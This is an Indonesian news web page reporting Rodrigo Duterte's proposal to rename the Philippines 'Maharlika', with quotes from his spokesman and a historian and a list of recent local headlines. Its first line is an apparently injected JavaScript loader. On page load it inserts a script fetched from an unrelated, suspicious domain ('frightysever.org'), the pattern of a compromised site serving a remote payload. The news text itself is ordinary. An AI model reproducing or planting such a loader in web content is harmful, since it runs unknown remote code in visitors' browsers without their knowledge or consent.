(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MANCANEGARA

Presiden Duterte Ingin Ubah Nama Filipina Jadi Maharlika


MANILA, Presiden Filipina Rodrigo Duterte ingin mengubah nama negara Filipina menjadi ‘Maharlika’. Perubahan nama ini bertujuan untuk menghilangkan keterkaitan kolonialisme pada nama negara Filipina.

Seperti dilansir Bloomberg dan SunStar Manila, Kamis (14/2), Duterte menyerukan kembali seruan yang pernah dilontarkan mendiang diktator Ferdinand Marcos untuk mengubah nama Filipina menjadi ‘Maharlika’. Dalam bahasa lokal, ‘Maharlika’ disebut berarti ‘bangsawan’.

Diketahui bahwa Filipina dijajah oleh Spanyol selama lebih dari 300 tahun. Nama negara Filipina berasal dari nama Raja Spanyol Philip II yang berkuasa antara tahun 1556 hingga 1598 silam.

“Filipina. (Dinamakan) Filipina karena ditemukan oleh Magellan menggunakan uang dari Raja Philip (II). Itulah mengapa ketika penjelajah yang bodoh datang, dia menamakannya Filipina,” ucap Duterte dalam pernyataannya pada Senin (11/2) lalu.

“Tapi itu akan baik-baik saja. Di masa mendatang, mari kita ubah. Sebenarnya, Marcos benar. Dia ingin mengubahnya menjadi Maharlika, Republik Maharlika, karena Maharlika adalah kata-kata Melayu dan itu berarti ketenangan. Marcos benar,” imbuh Duterte.

Marcos yang lengser dari jabatan Presiden Filipina tahun 1986 lalu karena unjuk rasa damai yang digelar rakyat ini, pertama kali mengusulkan perubahan nama untuk mempromosikan nasionalisme setelah dirinya memberlakukan hukum darurat militer di Filipina tahun 1970-an silam.

Seperti dilansir Manila Bulletin, juru bicara kepresidenan Filipina, Salvador Panelo, menyebut nama ‘Maharlika’ dipilih untuk merefleksikan identitas Melayu dari warga Filipina. “Dia mengatakan bahwa itu (Maharlika) adalah kata Melayu. Mengingat kita adalah Melayu, kita seharusnya memiliki nama yang mengidentifikasikan kita,” ucapnya.

“Saya setuju dengannya. Saya suka gagasan nama ‘Maharlika’ untuk Filipina. Mungkin, untuk lebih menegaskan identitas nasional kita,” tegas Panelo. “Konstitusi memampukan Kongres menetapkan aturan hukum yang bisa mengubah nama negara ini dan kemudian mengajukannya kepada rakyat untuk sebuah referendum,” ujarnya.

Secara terpisah, Presiden Senat Filipina, Tito Sotto, menyebut usulan Duterte itu membutuhkan amandemen Konstitusi Filipina dan membutuhkan terlalu banyak perubahan. Tidak hanya mengusulkan perubahan nama negara, Duterte juga mendorong perubahan piagam nasional dan menggeser bentuk pemerintahan ke federal.

Namun saat Panelo ditanya apakah Duterte akan secara aktif mendorong perubahan nama negara itu, dia menjawab: “Tidak. Gaya Presiden adalah dia melontarkan sebuah gagasan kemudian orang lain dari Kongres akan membahasnya. Itu hanya gagasan dia.”

Diketahui bahwa Filipina dijajah oleh Spanyol selama lebih dari 300 tahun. Nama negara Filipina berasal dari nama Raja Spanyol Philip II yang berkuasa antara tahun 1556 hingga 1598 silam. Duterte menyebut penggantian nama menjadi ‘Maharlika’ bertujuan untuk menghilangkan keterkaitan kolonialisme pada nama negara Filipina.

Sejarawan Xiao Chua yang juga seorang asisten Guru Besar De La Salle University menyebut pemahaman kata ‘Maharlika’ sebagai bangsawan telah menjadi kesalahpahaman umum yang disebabkan oleh ‘salah terjemahan’ pada teks-teks sejarah Filipina.(nvc/ita/dtc)

Reporter : Nvc/ita/dtc
Editor : Cell

Desy Arfianty

Share
Published by
Desy Arfianty

Recent Posts

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

5 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

6 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

21 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

22 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

22 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

24 jam ago

This website uses cookies.